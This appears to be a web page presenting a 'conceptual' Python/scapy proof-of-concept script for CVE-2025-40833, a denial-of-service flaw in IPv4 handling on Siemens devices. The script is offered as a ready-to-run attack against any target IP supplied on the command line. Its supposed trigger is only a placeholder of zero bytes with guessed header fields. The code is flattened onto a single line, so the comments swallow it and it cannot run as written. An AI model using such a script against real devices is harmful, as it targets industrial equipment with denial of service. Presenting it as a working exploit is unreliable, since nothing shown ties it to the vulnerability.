CVE-2025-40833: Siemens设备IPv4请求处理空指针拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-40833 (Conceptual) # This script sends a crafted IPv4 packet to trigger the potential DoS. # Note: The specific malformed packet structure depends on the exact implementation details of the target device. import sys from scapy.all import * def send_malformed_packet(target_ip): # Constructing a raw IPv4 packet with potentially malicious payload options # In a real scenario, specific flags or options would be set based on the vulnerability analysis. # Example: Sending a packet with invalid IP options or specific padding custom_payload = b"\x00" * 64 # Placeholder for the triggering pattern packet = IP( dst=target_ip, ihl=5, # Internet Header Length tos=0, id=12345, flags="DF", frag=0, ttl=64, proto=255, # Using a non-standard protocol to potentially trigger parsing issues chksum=None ) / Raw(load=custom_payload) print(f"[*] Sending crafted packet to {target_ip}...") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_packet(target)